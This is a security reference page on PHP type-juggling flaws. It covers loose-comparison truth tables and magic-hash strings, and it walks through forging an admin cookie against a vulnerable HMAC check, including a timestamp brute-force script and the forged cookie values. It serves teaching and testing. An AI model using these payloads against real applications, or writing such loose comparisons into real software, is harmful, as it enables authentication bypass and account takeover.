Skip to content

Type Juggling

PHP is a loosely typed language, which means it tries to predict the programmer's intent and automatically converts variables to different types whenever it seems necessary. For example, a string containing only numbers can be treated as an integer or a float. However, this automatic conversion (or type juggling) can lead to unexpected results, especially when comparing variables using the '==' operator, which only checks for value equality (loose comparison), not type and value equality (strict comparison).

Summary

Loose Comparison

PHP type juggling vulnerabilities arise when loose comparison (== or !=) is employed instead of strict comparison (=== or !==) in an area where the attacker can control one of the variables being compared. This vulnerability can result in the application returning an unintended answer to the true or false statement, and can lead to severe authorization and/or authentication bugs.

  • Loose comparison: using == or != : both variables have "the same value".
  • Strict comparison: using === or !== : both variables have "the same type and the same value".

True Statements

Statement Output
'0010e2' == '1e3' true
'0xABCdef' == ' 0xABCdef' true (PHP 5.0) / false (PHP 7.0)
'0xABCdef' == ' 0xABCdef' true (PHP 5.0) / false (PHP 7.0)
'0x01' == 1 true (PHP 5.0) / false (PHP 7.0)
'0x1234Ab' == '1193131' true (PHP 5.0) / false (PHP 7.0)
'123' == 123 true
'123a' == 123 true
'abc' == 0 true
'' == 0 == false == NULL true
'' == 0 true
0 == false true
false == NULL true
NULL == '' true

PHP8 won't try to cast string into numbers anymore, thanks to the Saner string to number comparisons RFC, meaning that collision with hashes starting with 0e and the likes are finally a thing of the past! The Consistent type errors for internal functions RFC will prevent things like 0 == strcmp($_GET['username'], $password) bypasses, since strcmp won't return null and spit a warning any longer, but will throw a proper exception instead.

LooseTypeComparison

Loose Type comparisons occurs in many languages:

NULL Statements

Function Statement Output
sha1 var_dump(sha1([])); NULL
md5 var_dump(md5([])); NULL

Magic Hashes

Magic hashes arise due to a quirk in PHP's type juggling, when comparing string hashes to integers. If a string hash starts with "0e" followed by only numbers, PHP interprets this as scientific notation and the hash is treated as a float in comparison operations.

Hash "Magic" Number / String Magic Hash Found By / Description
MD4 gH0nAdHk 0e096229559581069251163783434175 @spaze
MD4 IiF+hTai 00e90130237707355082822449868597 @spaze
MD5 240610708 0e462097431906509019562988736854 @spazef0rze
MD5 QNKCDZO 0e830400451993494058024219903391 @spazef0rze
MD5 0e1137126905 0e291659922323405260514745084877 @spazef0rze
MD5 0e215962017 0e291242476940776845150308577824 @spazef0rze
MD5 129581926211651571912466741651878684928 06da5430449f8f6f23dfc1276f722738 Raw: ?T0D??o#??'or'8.N=?
SHA1 10932435112 0e07766915004133176347055865026311692244 Independently found by Michael A. Cleverly & Michele Spagnuolo & Rogdham
SHA-224 10885164793773 0e281250946775200129471613219196999537878926740638594636 @TihanyiNorbert
SHA-256 34250003024812 0e46289032038065916139621039085883773413820991920706299695051332 @TihanyiNorbert
SHA-256 TyNOQHUS 0e66298694359207596086558843543959518835691168370379069085300385 @Chick3nman512 
<?php
var_dump(md5('240610708') == md5('QNKCDZO')); # bool(true)
var_dump(md5('aabg7XSs')  == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
?>

Methodology

The vulnerability in the following code lies in the use of a loose comparison (!=) to validate the $cookie['hmac'] against the calculated $hash.

function validate_cookie($cookie,$key){
    $hash = hash_hmac('md5', $cookie['username'] . '|' . $cookie['expiration'], $key);
    if($cookie['hmac'] != $hash){ // loose comparison
        return false;

    }
    else{
        echo "Well done";
    }
}

In this case, if an attacker can control the $cookie['hmac'] value and set it to a string like "0", and somehow manipulate the hash_hmac function to return a hash that starts with "0e" followed only by numbers (which is interpreted as zero), the condition $cookie['hmac'] != $hash would evaluate to false, effectively bypassing the HMAC check.

We have control over 3 elements in the cookie: - $username - username you are targeting, probably "admin" - $expiration - a UNIX timestamp, must be in the future - $hmac - the provided hash, "0"

The exploitation phase is the following: 1. Prepare a malicious cookie: The attacker prepares a cookie with $username set to the user they wish to impersonate (for example, "admin"), $expiration set to a future UNIX timestamp, and $hmac set to "0". 2. Brute force the $expiration value: The attacker then brute forces different $expiration values until the hash_hmac function generates a hash that starts with "0e" and is followed only by numbers. This is a computationally intensive process and might not be feasible depending on the system setup. However, if successful, this step would generate a "zero-like" hash. 

// docker run -it --rm -v /tmp/test:/usr/src/myapp -w /usr/src/myapp php:8.3.0alpha1-cli-buster php exp.php
for($i=1424869663; $i < 1835970773; $i++ ){
    $out = hash_hmac('md5', 'admin|'.$i, '');
    if(str_starts_with($out, '0e' )){
        if($out == 0){
            echo "$i - ".$out;
            break;
        }
    }
}
?>
3. Update the cookie data with the value from the bruteforce: 1539805986 - 0e772967136366835494939987377058 
$cookie = [
    'username' => 'admin',
    'expiration' => 1539805986,
    'hmac' => '0'
];
4. In this case we assumed the key was a null string : $key = '';

Labs

References